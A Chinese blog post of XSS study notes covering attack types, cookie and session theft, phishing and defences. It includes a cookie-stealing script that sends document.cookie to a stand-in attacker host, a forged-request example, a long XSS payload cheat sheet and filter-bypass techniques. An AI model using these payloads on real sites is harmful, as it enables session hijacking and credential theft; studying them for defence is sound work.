前端Hack之XSS攻擊我的學習筆記

時間  2019-11-24
標籤 前端 hack xss 攻擊 我的 學習 筆記 欄目 JavaScript 简体版
原文   原文鏈接

簡單概述

**
       此篇系本人兩週來學習XSS的一份我的總結，實質上應該是一份筆記，方便本身往後從新回來複習，文中涉及到的文章我都會在末尾儘量地添加上，這次總結是我在學習過程當中所寫，若有任何錯誤，敬請各位讀者斧正。其中有許多內容屬於相關書籍、文章的部分摘取，若有侵權，請聯繫我修改。(asp-php#foxmail.com)
**
javascript

1) 什麼是XSS?


       XSS(Cross-Site Script,跨站腳本)是因爲web應用程序對用戶的輸入過濾不足而產生的一種漏洞。攻擊者能夠利用網站漏洞把惡意的腳本代碼注入到網頁之中，當其餘用戶瀏覽這些帶有惡意代碼的網頁時就會執行其中的惡意代碼，對受害者產生各類攻擊。

       若是對以上描述還不是很瞭解的話，能夠參考百度百科
       在餘弦大大和xisigr大大的書籍《Web前端安全技術揭祕》第三章中這樣說道：php

跨站腳本的重點不在「跨站」上，而應該在「腳本」上...由於這個「跨」實際上屬於瀏覽器的特性，而不是缺陷，形成「跨」的假象是由於絕大多數的XSS攻擊都會採用嵌入一段遠程或者說第三方域上的腳本資源。css

       確實，當攻擊者的服務器上的js嵌入到受害者的頁面，至於接下來的攻擊就是關於「腳本」的事了。html

2) XSS能夠帶來哪些危害？

       對於XSS攻擊的危害，大多數的人們卻沒有正確的認識，實際上攻擊者能夠利用XSS攻擊形成巨大的危害。好比：前端

  • 網頁掛馬;
  • 盜取Cookie;
  • DoS攻擊;
  • 釣魚攻擊;
  • 蠕蟲攻擊;
  • 劫持用戶web行爲;
  • 結合CSRF進行鍼對性攻擊;
  • ······

這些都是能夠利用XSS漏洞來達成的。java

3) XSS類型

目前的XSS總共能夠分爲三種類型：python

  • 反射型(也叫非持久型)
  • 存儲型(也叫持久型)
  • DOM型

PS：前兩種XSS都會與服務器產生交互，後一種不會產生交互。(某安全大佬面試)git

反射型XSS


       反射型XSS，也稱非持久型XSS，最多見也是使用最廣的一種。在反射型XSS中，payload通常存在於網頁的Url中，只用戶單擊時觸發，只執行一次，非持久化，故稱反射型XSS。攻擊者發送惡意Url連接讓受害者點擊(通常會對payload部分進行處理，如：編碼轉換和短域名跳轉)

       因爲篇幅問題，關於反射型XSS我就不作過多簡述。
       有的人認爲反射型XSS須要用戶已經登錄的狀況下才能利用，其實否則。咱們能夠經過反射型xss讓瀏覽器遠程嵌入咱們的js文件，而後配合瀏覽器漏洞進行RCE攻擊。這裏給出個相近的例子：記一次從DOM型XSS到RCE過程。github

存儲型XSS

       存儲型XSS，也稱持久型XSS，攻擊者首先將惡意javascript代碼上傳或存儲到漏洞服務器中，只要受害者瀏覽包含此惡意javascript頁面就會執行惡意代碼，不須要用戶點擊特定Url就能執行，故存儲型XSS比反射型XSS更具威脅性。--- 《XSS跨站腳本攻擊剖析與防護》
       存儲型XSS與反射型XSS最大的區別就在於提交的XSS代碼會儲存於服務端，下次再訪問目標頁面時不用再提交XSS代碼。---《Web前端黑客技術揭祕》web

DOM型XSS

       許多朋友對反射型XSS和存儲型XSS都比較清楚，但是卻不太瞭解什麼是DOM型XSS，不要緊，看完這裏你就應該會對DOM型XSS有個大概認識
       DOM,即Document Object Model(文件對象模型)的縮寫，關於DOM的概念想了解的朋友能夠在百度百科獲得相應的解答。
       DOM型XSS是如何產生的？咱們知道，客戶端javascipt是能夠訪問瀏覽器的DOM文本對象模型，若是沒有通過適當的過濾和消毒，那麼應用程序可能會受到基於DOM的XSS攻擊。
       在刺的《白帽子講Web安全》是這樣講的：

經過修改頁面的DOM節點造成的XSS，稱之爲DOM Based XSS，也就是DOM型XSS。

       舉個簡單的例子(來自《Web前端黑客技術揭祕》)：

<html>
...
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
...
</html>

       把以上代碼保存爲1.html,而後打開瀏覽器訪問http://127.0.0.1/1.html#a=test
       咱們知道這是個靜態頁面，並且#後邊的內容並不會傳給服務器。
訪問結果
       但是這樣就不會產生XSS漏洞了嗎？若是咱們訪問
http://127.0.0.1/.html#a=<script>alert(/xss/)</script>
       當咱們訪問上述url時，服務器會返回源代碼，咱們能夠用抓包工具截取，發現與正常訪問的頁面無差異，但是當瀏覽器收到源代碼時便把HTML文本解析成DOM對象並執行，結果彈出/xss/消息框，感興趣的朋友能夠試試。
       具體執行過程如圖：來自《黑客攻防技術寶典Web實戰篇》

4) XSS的利用方式

       前面咱們介紹了各類XSS的特色及產生方式，如今咱們來講說如何利用這些漏洞。

Cookie竊取

       Cookie盜取是xss攻擊中最實用也是最普遍的一種利用方式之一。咱們知道Cookie是Web系統識別用戶的身份和保存會話狀態的主要機制，且是由服務器提供的、存儲在客戶端的一種數據。同時，對於cookie的操做十分的方便，咱們能夠經過Document對象訪問Cookie。如：<script>alert(document.cookie)</script>會彈出當前頁面的cookie信息。

       這裏咱們引入一個叫作「同源策略」的概念：

首先，同「源」的源不僅僅是指兩個頁面的主域名，還包括這兩個域名的協議、端口號和子級域名相同。舉個例子，假設我如今有一個頁面http://www.a.com/index.html，域名是 www.a.com，二級域名爲 www,協議是 http，端口號是默認的 80，這個頁面的同源狀況以下：
       同源策略存在的意義就是爲了保護用戶的信息的安全。通常網站都會把關於用戶的一些敏感信息存在瀏覽器的 cookie 當中試想一下，若是沒有同源策略的保護，那麼 b 頁面也能夠隨意讀取 a 頁面存儲在用戶瀏覽器 cookie 中的敏感信息，就會形成信息泄露。若是用戶的登陸狀態被惡意網站可以隨意讀取，那後果不堪設想。因而可知，同源策略是很是必要的，能夠說是瀏覽器安全的基石。
       除了 cookie 的訪問受到同源策略的限制外，還有一些操做也一樣受到同源策略的限制：
       (1) 沒法讀取非同源網頁的 Cookie 、sessionStorage 、localStorage 、IndexedDB
       (2) 沒法讀寫非同源網頁的 DOM
       (3) 沒法向非同源地址發送 AJAX請求（能夠發送，但瀏覽器會拒絕響應而報錯）

       ————引自晚風表哥在信安之路上的投稿文章《同源策略與跨域請求》

       咱們知道Cookie有以下常見的屬性：

  • Domain————設置關聯Cookie的域名;
  • Expires————經過給定一個過時時間來建立一個持久化Cookie;
  • Httponly————用於避免Cookie被Javascript訪問;
  • Name————Cookie的名稱;
  • Path————關聯到Cookie的路徑，默認爲/;
  • Value————讀寫Cookie的值;
  • Secure————用於指定Cookie須要經過安全Socket層傳遞鏈接;

       而且Cookie也能夠安裝類型分爲：

  • 本地Cookie————即儲存在計算機硬盤中，關閉瀏覽器後依舊存在;
  • 內存Cookie————即儲存在內存中，隨瀏覽器的關閉而消失;

       如何區分二者很簡單，只要判斷cookie中的expires即過時時間屬性有沒有設置，若是設置了即爲本地cookie，反之爲內存cookie。
       因爲Cookie具備的不一樣屬性，咱們能夠將不一樣屬性的Cookie盜取方式分爲如下幾種狀況

默認

       默認狀況，即不對Cookie的任何屬性進行指定就設置Cookie的狀況。這種狀況下Cookie的獲取最爲簡單。能夠經過下列方式獲取

<script>
new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;
</script>

不一樣域

       這是因爲domain字段的機制致使的。一個Cookie若是不知道domain的值，則默認爲本域。
       例若有兩個網站www.a.com和test.a.com且後者存在xss漏洞，按照同源策略，這兩個網站是不一樣源的，默認狀況下咱們沒法直接從test.a.com獲取到www.a.com的Cookie，但是若是www.a.com的Cookie值中的domain屬性設置爲父級域即a.com，就能夠經過test.a.com的xss漏洞獲取到www.a.com的Cookie值。

不一樣路徑

       這是因爲path字段的機制致使的。在設置Cookie時，若是不指定path的值，默認就是目標頁面的路徑。好比在www.a.com/admin/index.php設置cookie值且不知道path，那麼path默認爲/admin/。javascript能夠指定任意路徑的cookie，可是隻有對於path值的目錄下才能讀取Cookie,即上述例子中只有/admin/目錄下的javascipt才能讀取前邊設置的Cookie。

Http Only

       HttpOnly是指僅在Http層面上傳輸的Cookie，當設置了HttpOnly標誌後，客戶端腳本就沒法讀取該Cookie，這樣作能有效防護XSS攻擊獲取Cookie，也是目前防護XSS的主流手段之一。不過利用某些特定方式也能夠一樣讀取到標誌了HttpOnly的Cookie。

  • 利用調試信息，如：PHP的phpinfo()和Django的調試信息，裏邊都記錄了Cookie的值，且標誌了HttpOnly的Cookie也一樣能夠獲取到。
  • 利用Apache Http Server 400錯誤暴露HttpOnly Cookie的特色。

感興趣的朋友能夠查閱相關資料(《Web前端黑客技術揭祕》p36-39)

Secure

       Secure是指設置了Secure的Cookie盡在HTTPS層面上進行安全傳輸，若是請求是HTTP的，則不會帶上改Cookie，這樣作的好處是能夠下降Cookie對中間人攻擊獲取的風險，不過對咱們此處討論的XSS攻擊無攔截效果，可經過默認狀況下獲取。

P3P

       HTTP響應頭的P3P字段能夠用於標識是否容許目標網站的Cookie被另外一域經過加載目標網站而設置或發送，聽說僅IE支持（17年）。
       咱們來舉個例子，在A域經過iframe等方式加載B域(此時也稱B域爲第三方域)，若是咱們想經過B域來設置A域的Cookie，或加載B域時帶上B域的Cookie，這時就得涉及到P3P。

B域設置A域Cookie

       在IE下默認是不容許第三方域設置的的，除非A域在響應頭帶上P3P字段。當響應頭頭帶上P3P後，IE下第三方域便可進行對A域Cookie的設置，且設置的Cookie會帶上P3P屬性，一次生效，即便以後沒有P3P頭也有效。

加載B域時Cookie傳入問題

       咱們知道Cookie分爲內存Cookie和本地Cookie，當咱們經過A域加載B域時，默認是帶內存Cookie加載(若是無內存Cookie則不帶)，而若是想要帶本地Cookie加載，則本地Cookie必須帶P3P屬性。

會話劫持

       因爲Cookie的不安全性，開發者們開始使用一些更爲安全的認證方式——Session。
       這裏引用《XSS跨站腳本攻擊剖析與防護》p51-52頁的內容

       Session的中文意思是會話，其實就是訪問者從到達特定主頁到離開的那段時間，在這個過程當中，每一個訪問者都會獲得一個單獨的Session。Session是給予訪問的進程，記錄了一個訪問的開始到結束，搭檔瀏覽器或進程關閉以後，Session也就「消失」了。
       在Session機制中，客戶端和服務端也有被其餘人利用的可能。
       Session和Cookie最大的區別在於：Session是保存在服務端的內存裏面，而Cookie保存於瀏覽器或客戶端文件裏面

       這裏提到Session是由於咱們在現實狀況中可能會出現已經獲取到了Cookie，可是因爲用戶已經退出了瀏覽器指示Session無效，致使咱們沒法經過Cookie欺騙來獲取用戶權限；又好比有的網站設置了HttpOnly，獲取不到Cookie；再者有的網站將Cookie與客戶端IP向綁定；此時咱們即可以利用會話劫持來達到目的。
       會話劫持的實質就是模擬GET/POST請求(帶Cookie)經過受害者瀏覽器發送給服務器，咱們能夠經過下面的方式來完成。

  • 經過javascript控制DOM對象來發起一個GET請求，如：
var img = document.creatElement("img");
img.src = "http://www.a.com/del.php?id=1";
document.body.appendChild(img);
  • 經過javascript自動構造隱藏表單並提交(POST)
  • 經過XMLHttpRequest直接發送一個POST請求

       咱們能夠經過構造的GET/POST請求來實現如添加管理員、刪除文章、上傳文件等操做。XSS蠕蟲從某種意義上來講也屬於會話劫持。

釣魚

       如今通常咱們均可以很容易的防範釣魚網站，但是當釣魚網站與XSS漏洞結合呢？設想一下，如mail.qq.com的頁面存在XSS漏洞，攻擊者經過iframe替換了原來的頁面成釣魚頁面，而且網頁的Url仍是原來的頁面，你是否能察覺出來？

XSS重定向釣魚

       即從www.a.com經過xss漏洞跳轉到www.b.com的釣魚頁面上，整個過程變化明顯，受害者易察覺。

http://www.a.com/index.php?search=<script>document.location.href="http://www.b.com/index.php"</script>

HTML注入式釣魚

       經過javascript來修改頁面的DOM對象屬性，或在原頁面中添加新的DOM元素。前者相對於後者更隱蔽。

Iframe

       攻擊者經過javascript來添加一個新的<Iframe>標籤嵌入第三方域的內容(釣魚網頁)，此時主頁面仍處於正常頁面下，具備極高的迷惑性。

5) XSS漏洞的挖掘

       就目前而言，XSS漏洞的挖掘主要分爲白盒審計和黑盒Fuzz兩種。

白盒審計

       經過查看源代碼來判斷網站的交互點是否存在安全過濾。因爲此處涉及代碼審計內容(其實就是懶)，就細說，這裏直接引用書中總結的。

分析源代碼挖掘XSS的通常思路是：查找可能在頁面輸出的變量，檢驗它們是否受到控制，而後跟蹤這些變量的傳遞過程，分析它們是否被htmlencode()之類的函數過濾

黑盒審計

       這個可得好好說說了，畢竟咱們在現實環境中挖掘XSS漏洞時黑盒的狀況偏多。咱們進行XSS黑盒測試時主要分爲手工檢測和工具檢測。

手工檢測

       首先咱們須要儘量地找到目標的每一個輸入輸出點並挨個嘗試；在進行嘗試的時候，咱們應優先選擇特殊字符進行測試，如"<>&;/':等，若是連<>都未過濾/轉義，那麼該輸入點極可能存在XSS漏洞。
       若是<>等標記符號都被過濾/轉義了，咱們也可使用標籤自身的屬性/事件(href,lowsrc,bgsound,backgroud,value,action,dynsrc等)來觸發XSS,如
<input name="xx" value=<?=$query?>>這裏的$query屬於動態內容，咱們把他替換成惡意代碼，最終的代碼爲<input name="xx" value=xss onmouseover=evil_script>。
       通常來講，針對輸入框的黑盒測試可能存在反射型XSS，也可能存在存儲型XSS，還有多是DOM型，針對Url參數的黑盒測試絕大多數只存在反射型XSS或DOM型XSS。

常見標籤
<img>標籤
利用方式1
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(/xss));'
<!--CSS標記xss-->
<img STYLE="background-image:url(javascript:alert('XSS'))">
XSS利用方式2
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
XSS利用方式3
<img src=1 onmouseover=alert('xss')>
<a>標籤
標準格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
input標籤
標準格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
<form>標籤
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
XSS利用方式3
<!--原code-->
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<!--base64編碼-->
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>標籤
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64編碼-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
svg<>標籤
<svg onload=alert(1)>
iframe
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>

——引自wkend的文章《XSS小節》

工具檢測

       關於XSS的自動檢測軟件有許多，如Burp的Scan模塊，BruteXSS等，這裏不作過多解釋。

6) shellcode的繞過

繞過XSS-Filter

       XSS-Filter是一段基於黑名單的過濾函數，大多數CMS都有這麼個函數，做用於用戶的每個輸入點，用於過濾可能的惡意代碼。不過從某種意義上來講，基於黑名單的保護是必定不會是安全的，因爲XSS的多變性，幾乎不可能存在徹底地過濾。

空格回車和Tab

       對XSS-Filter而言，若是僅僅是將函數加入黑名單處理，那麼能夠在函數名稱之中嘗試加入空格、回車、Tab等鍵位符來進行繞過。這是因爲在javascript中只會將;做爲語句的終止符，當瀏覽器引擎解析javascript腳本時沒有匹配到;便會繼續處理，知道發現下個分號爲止，而換行符並非終止符。以下列代碼可繞過對關鍵字javascript|alert的過濾：

<img src=javasc
ript:aler
t(/xss/)>

IE6下測試成功

對標籤屬性值進行轉碼

       HTML中屬性值支持ASCII碼形式，如

<img src="javascript:alert('xss');">

       替換成

<img src="javascrip&#116&#58alert('xss');">

       其中在ASCII表中116爲t，58爲:。
       也能夠將&#01,&#02等插入javascript的頭部，還能夠將tab(&#09)|換行符(&#10)|回車鍵(&#13)插入到代碼中的任意位置。

Fuzz標籤未過濾事件名

       如<img src=x onerror=alert(/xss/)>其中的onerror即爲IMG標籤的一個事件，一般這樣的事件都是以on開頭，常見的有:

onResume
onReverse
onSeek
onSynchRestored
onURLFlip
onRepeat
onPause
onstop
onmouseover

       除此以外還有不少事件能夠利用，這裏再也不一一列舉。

使用Css繞過

       利用Css樣式表能夠執行javascript的特性，如
       Css直接執行javascript：

<div style="background-image:url(javascript:alert('xss'))">
<style>
    body {background-image:url("javascript:alert('xss')");}
</style>

       css中使用expression執行javascript:

<div style="width: expression(alert('xss'))">
<img src="#" style="xss:expression(alert(/xss/))">
<style>
    body {background-image:expression("alert('xss')");}
</style>

       在上述的兩個例子中，都用到了樣式表的url屬性來執行XSS代碼。
       除了上述兩種，還能夠利用@import直接執行javascript代碼

<style>
    @import 'javascript:alert("xss")';
</style>

       在現實環境下，HTML頁面中的Css與Javascript的嵌入方式很類似，且Css也能夠執行javascript代碼，故咱們的XSS代碼也能夠經過嵌入遠程惡意css文件來進行XSS攻擊。

擾亂規則

  • 大小寫變換;
  • 利用expression執行跨站代碼的時候，能夠構造不一樣的全角字符來擾亂過濾規則;
  • 結合樣式表註釋字符/**/，經過css執行javascript
  • 樣式標籤會過濾\和\0，能夠構造如@i\mp\0\0ort 'jav\0asc\0rip\t:al\0er\t("x\0ss")'繞過
  • Css關鍵字進行編碼處理，如<p style="xss:\0065xpression(alert(/xss/))">其中65爲字母e進行unicode編碼後的數字部分
  • 利用瀏覽器解析註釋的問題

利用字符編碼

       javascript支持許多的編碼格式，如：

  • unicode
  • escapes
  • 十六|十|八進制

若是能將這些編碼格式運用進跨站攻擊，無心能大大增強XSS的威力
在IE下甚至支持JScript Encode加密後的代碼

拆分法

       若是一個網站規定了輸入的最大長度，可是ShellCode又太長，那麼久能夠拆分紅幾個部分，最後在組成起來。相關文章：《瘋狂的跨站之行》劍心(非原連接)

7) XSS防護

       說了那麼多，那咱們該如何防護這看似防不勝防的XSS攻擊呢？

輸入

       嚴格控制用戶可輸入的範圍，如手機號只能輸入數字且長度不能大於11位等，如需輸入某些敏感字符的狀況下可對數據進行轉義處理，對於用戶數據的過濾儘量地採用白名單而不是黑名單。

輸出

       減小沒必要要的輸出，在須要輸出的地方使用HTML編碼將敏感字符轉義爲實體符，javascript進行DOM操做時注意不要將已轉義的實體符再次解析成DOM對象。

其餘

       設置HttpOnly，開啓WAF。

寫在最後

       感謝參考資料中各位分享技術的大牛，小弟才筆有限，僅僅介紹了XSS攻擊中的一部分，仍有一部分因爲種種緣由我沒有寫進來。好比整篇文章都是Javascript，實際上在遇到XSS問題時咱們還需考慮VBscript、Actionscript等等，還有許多優秀的案例因爲篇幅問題沒法寫上了，可能會致使部分讀者理解不全面，在這裏向你們說聲抱歉，我會在下面的參考中列出我參考的書籍與文章供各位讀者查看。XSS的學習暫時放下了，下一站——SQL注入，雖然對此有些淺顯的認知，但仍是但願能系統的學一遍，可能會在下個月發出來，感興趣的讀者能夠關注個人博客。

參考資料


書籍：
《Web前端黑客技術揭祕》
《XSS跨站腳本攻擊剖析與防護》
《白帽子講Web安全》
《黑客攻防技術寶典Web實戰篇》第二版
文章：
XSS小結
淺說 XSS 和 CSRF
Session攻擊手段(會話劫持/固定)及其安全防護措施

附錄

https://github.com/ChrisLinn/greyhame-2017/blob/master/skills/web.md 2017灰袍技能精華 https://github.com/rajeshmajumdar/BruteXSS BruteXSS https://github.com/beefproject/beef Beef神器 https://github.com/1N3/XSSTracer 用於檢查跨站點跟蹤的小型python腳本 https://github.com/0x584A/fuzzXssPHP 一個很是簡單的反射XSS掃描儀支持GET/POST https://github.com/chuhades/xss_scan 反射xss掃描器 https://github.com/BlackHole1/autoFindXssAndCsrf 瀏覽器的插件，它自動檢查頁面是否具備xss和漏洞 https://github.com/shogunlab/shuriken xss命令行工具用於測試web應用程序中xss負載列表 https://github.com/UltimateHackers/XSStrike 用於XSS、WAF檢測和旁路的模糊和蠻力參數 https://github.com/stamparm/DSXS 一個徹底功能的跨站點腳本漏洞掃描器，支持獲取和發佈參數，並寫入100行代碼

相關文章
相關標籤/搜索
每日一句
    每一个你不满意的现在，都有一个你没有努力的曾经。
本站公眾號
   歡迎關注本站公眾號,獲取更多信息
聯繫我們 最近搜索 最新文章 沪ICP备13005482号-10 MyBatis教程 SQL 教程 MySQL教程 Java 教程 Thymeleaf 教程 Hibernate教程 Spring教程 Redis教程